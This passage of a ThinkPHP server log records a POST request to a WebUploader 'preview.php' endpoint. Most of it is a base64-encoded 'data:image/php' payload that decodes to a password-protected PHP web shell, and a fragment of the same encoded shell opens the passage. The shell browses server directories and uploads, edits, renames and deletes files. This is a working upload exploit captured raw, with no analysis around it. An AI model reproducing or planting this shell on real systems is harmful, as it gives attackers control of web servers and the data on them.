gIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSI' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:21+08:00 ] 119.42.146.234 POST 59.110.137.245/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.003096s] [吞吐率:323.01req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9